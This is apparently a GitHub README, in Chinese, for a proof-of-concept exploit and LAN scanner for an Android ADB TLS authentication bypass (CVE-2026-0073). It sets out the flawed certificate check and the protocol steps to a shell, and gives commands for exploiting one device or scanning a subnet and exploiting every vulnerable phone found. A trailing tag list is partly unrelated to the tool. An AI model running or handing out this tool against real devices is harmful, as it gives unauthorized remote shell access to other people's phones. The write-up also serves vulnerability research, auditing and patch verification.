unnaim/adbHijacker

GitHub: unnaim/adbHijacker

针对 Android ADB TLS 身份验证逻辑缺陷(CVE-2026-0073)的概念验证工具,包含单目标漏洞利用和网络批量扫描功能,可实现对未修补设备的零点击远程 shell 访问。

Stars: 1 | Forks: 0

# CVE-2026-0073 — Android ADB TLS 身份验证绕过 **CVE-2026-0073** 的概念验证漏洞利用和网络扫描工具。该漏洞是 Android `adbd` 的 ADB-over-TCP 身份验证路径中的一个严重的零点击、无需交互的远程代码执行漏洞。 该漏洞是 `adbd_tls_verify_cert()`(`daemon/auth.cpp`)中的一个逻辑缺陷,其中 `EVP_PKEY_cmp()` 被视为布尔谓词。当存储的 RSA 密钥与非 RSA TLS 客户端证书(EC P-256 或 Ed25519)进行比较时,该 API 返回 `-1`(类型不匹配),这在 C/C++ 中属于*真值*。这导致跨算法不匹配被误判为成功的主机密钥匹配——从而完全绕过身份验证。 **技术细节获取自 [BARGHEST](https://barghest.asia/blog/cve-2026-0073-adb-tls-auth-bypass)。** **基础 PoC 代码源自 [SecTestAnnaQuinn](https://github.com/SecTestAnnaQuinn/CVE-2026-0073-Android-adbd-authentication-bypass-POC)。** **已在 2026 年 5 月的 Android 安全公告中修复。** ## 影响 | 属性 | 详情 | |-----------|--------| | **攻击向量** | 网络(相邻/近距离) | | **交互** | 无(零点击) | | **获取权限** | `shell` 用户 (uid=2000),SELinux `u:r:shell:s0` | | **漏洞利用原语** | 通过 ADB 进行远程 shell 访问 | | **CVSS** | 严重 (9.8) | 在 `shell` 上下文中,攻击者可以检查系统属性、进程状态、日志、通知;安装和卸载软件包;对可调试应用使用 `run-as`;以及为后续漏洞利用做好准备。 ## 文件 | 文件 | 用途 | |------|---------| | `adb_tls_auth_bypass.py` | 单目标漏洞利用 PoC(原始版本来自 SecTestAnnaQuinn,经 checksum 修补) | | `adbt_scanner.py` | 网络扫描器 — 发现易受攻击的设备并对其进行漏洞利用 | | `requirements.txt` | Python 依赖项 | ## 前置条件(目标设备) 要成功利用此漏洞,目标 Android 设备必须具备: 1. 已启用 **开发者选项** 2. 已启用 **无线调试** 或 ADB-over-TCP(平台 `adbd` TCP 服务) 3. `/data/misc/adb/adb_keys` 中至少有 **一个先前配对的 RSA 主机密钥** 4. 到 ADB TCP 端口(默认 5555)的 **网络可达性** ## 设置 ``` # 创建虚拟环境 uv venv # 激活它 source .venv/bin/activate # 安装依赖 uv pip install -r requirements.txt ``` **依赖项:** | 软件包 | 使用者 | 必需? | |---------|---------|-----------| | `cryptography` | 两个脚本(EC 证书生成,TLS) | **是** | | `netifaces` | 扫描器(子网检测) | 推荐 | | `zeroconf` | 扫描器(mDNS 发现) | 推荐 | | `scapy` | 扫描器(ARP 扫描) | 推荐 | 当缺少可选软件包时,扫描器会优雅降级——它将发出警告并回退到替代方法(系统 `ip` 命令、`nmap`、TCP 连接扫描)。 ## 使用方法 ### 模式 0 — 直接单目标漏洞利用 直接攻击已知的易受攻击设备。 ``` python3 adb_tls_auth_bypass.py 192.168.1.42 # interactive shell python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id" ``` 或通过扫描器: ``` python3 adbt_scanner.py --host 192.168.1.42 # interactive shell python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model" python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami" ``` ### 模式 1 — 扫描网络,识别,利用 扫描本地网络以查找易受攻击的设备,并对所有已确认的目标进行漏洞利用。 ``` # Full scan: mDNS → ARP → port scan → ADB probe → exploit python3 adbt_scanner.py --scan # 在所有易受攻击的设备上运行特定命令 python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch" # 仅 Recon — 发现但不利用 python3 adbt_scanner.py --scan --no-exploit # 扫描多个端口 python3 adbt_scanner.py --scan --ports 5555,5580,5037 # 覆盖检测到的子网(multi-homed hosts,特定范围) python3 adbt_scanner.py --scan --subnet 192.168.2.0/24 # 为慢速网络调整 timeouts python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10 # 扩展 mDNS 监听窗口 python3 adbt_scanner.py --scan --mdns-timeout 60 # 跳过特定的发现阶段 python3 adbt_scanner.py --scan --no-mdns # skip mDNS, ARP only python3 adbt_scanner.py --scan --no-arp # skip ARP, mDNS only ``` ### 扫描器 CLI 参考 ``` --scan Scan network for vulnerable devices + exploit --host HOST Direct single-target exploit --port PORT ADB port for --host mode (default: 5555) --cmd COMMAND Shell command to run -v, --verbose Verbose logging --mdns-timeout SECONDS mDNS listen duration (default: 30) --ports PORTS Comma-separated ports in --scan mode (default: 5555) --subnet CIDR Override detected subnet (e.g. 192.168.2.0/24) --connect-timeout SECONDS TCP connect timeout (default: 2.0) --probe-timeout SECONDS ADB probe timeout (default: 3.0) --arp-timeout SECONDS ARP sweep timeout (default: 3) --no-mdns Skip mDNS discovery --no-arp Skip ARP sweep + port scan --no-exploit Stop after ADB protocol probe phase ``` ### 发现流程 ``` ┌─────────────────────────────────────────────────────────────┐ │ 1. Subnet detection — netifaces → ip route → socket trick │ │ 2. mDNS listener — _adb-tls-connect._tcp (30s default) │ │ 3. ARP sweep — scapy.arping → nmap -sn │ │ 4. Port scan — TCP connect to each host:port │ │ 5. ADB protocol probe — send CNXN, classify response │ │ │ │ STLS → VULNERABLE (proceed to exploit) │ │ AUTH → legacy ADB auth (not this CVE) │ │ CNXN → open, no auth (already accessible) │ │ NO_ADB → not an ADB service │ │ │ │ 6. Exploitation — TLS upgrade → auth bypass → shell │ └─────────────────────────────────────────────────────────────┘ ``` mDNS 是最准确的识别方法:当无线调试配对时,Android 会显式广播 `_adb-tls-connect._tcp`。ARP 扫描 + 端口扫描作为通用的备选方案。 ## 漏洞利用机制 ``` Phase 1 — cleartext ADB Client → CNXN(payload="host::features=...") Device → STLS (upgrade to TLS required) Phase 2 — TLS 1.3 with cross-algorithm client cert Client → STLS reply Client → TLS 1.3 handshake + EC P-256 client certificate Device calls adbd_tls_verify_cert(): known_evp = RSA key from /data/misc/adb/adb_keys evp_pkey = EC P-256 key from client certificate EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (type mismatch) if (-1) → verified = true ← BUG: -1 is truthy Phase 3 — Post-TLS ADB service layer Client drains device CNXN (transport already online) No host CNXN sent (would trigger handle_new_connection kick) Client → OPEN(local_id, window=32MB, payload="shell:\x00") Device → OKAY → shell stream established ``` ## 威胁模型 ### 直接网络暴露 - 在不受信任的网络(咖啡厅、办公室、会议室)中保持启用无线调试 - 在端口 5555 上暴露于互联网的 ADB(在暴露情况研究期间,仅韩国就观察到超过 10,000 台设备) ### 恶意软件辅助的状态创建 - 设备上的恶意软件利用 Accessibility Service 启用开发者选项,激活无线调试,并配对主机密钥——为网络同伴进行远程利用准备好设备 ## 局限性 - **非 root 权限。** 该漏洞利用提供 `shell` (uid=2000) 上下文。内核入侵、root 访问权限和硬件支持的密库密钥需要进一步的提权。 - **需要已配对的密钥。** 目标必须在 `/data/misc/adb/adb_keys` 中至少拥有一个 RSA 主机密钥。已启用无线调试但*从未配对*的全新重置设备不易受此攻击。 - **需要 STLS 路径。** 通过传统(非 TLS)机制通过 TCP 提供 ADB 的设备会使用 `AUTH` 而不是 `STLS` 进行响应,且不受此 CVE 影响。 - **已修补的设备免疫。** 2026 年 5 月的 Android 安全公告包含一项修复,将 `EVP_PKEY_cmp` 检查更改为要求精确的 `== 1` 返回值。 ## 缓解措施 - 应用 **补丁**。 - 在不 actively 需要时禁用开发者选项。 - 禁用无线调试。 - 不要在本地受信任网络之外暴露 ADB。 ## 参考资料 - [Android 安全公告 — 2026 年 5 月](https://source.android.com/docs/security/bulletin/2026/2026-05-01) - [BARGHEST 的技术分析](https://barghest.asia/blog/cve-2026-0073/) - [Android 致谢](https://source.android.com/docs/security/overview/acknowledgements) - [BoringSSL 提交 — EVP_PKEY_cmp 返回值标准化](https://boringssl.googlesource.com/boringssl/+/3975388935512ea017024973924cfaf06f5b7822) - [Morpheus 间谍软件报告 — Osservatorio Nessuno](https://osservatorionessuno.org/blog/2026/04/morpheus-a-new-spyware-linked-to-ips-intelligence/) - [MESH — BARGHEST 的 Android 安全工具](https://github.com/BARGHEST-ngo/MESH) ## 免责声明 本软件仅用于**教育和授权的安全研究目的**。本存储库中的工具和代码旨在帮助安全专业人员、研究人员和设备所有者: - 了解 CVE-2026-0073 在协议层面是如何运作的 - 审计和评估他们自己的设备和网络 - 开发和测试缓解措施 **您不得将本软件用于:** - 攻击任何您不拥有或未获得明确书面测试许可的设备或网络 - 任何非法目的或违反适用法律的行为 - 未经授权访问、修改或提取数据 未经授权访问计算机系统在大多数司法管辖区都是非法的,可能会导致刑事和民事处罚。作者和贡献者对因使用本软件而引起的误用、损害或法律后果**不承担任何责任**。 **负责任地使用。了解您的目标。获取许可。** ## 许可证 [CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/) — 无版权保留。 在法律允许的范围内,作者已放弃本作品的所有版权及相关或邻接权利。
标签:ADB调试, Android安全, CISA项目, CVE-2026-0073, GraphQL安全矩阵, Maven, PoC, Python, RCE, SELinux, TLS证书校验缺陷, Zero-Click, 安全扫描器, 提权, 无交互攻击, 无后门, 暴力破解, 漏洞验证, 目录枚举, 移动安全, 编程工具, 网段扫描, 网络安全, 身份验证绕过, 远程代码执行, 逆向工具, 隐私保护, 零点击漏洞, 高危漏洞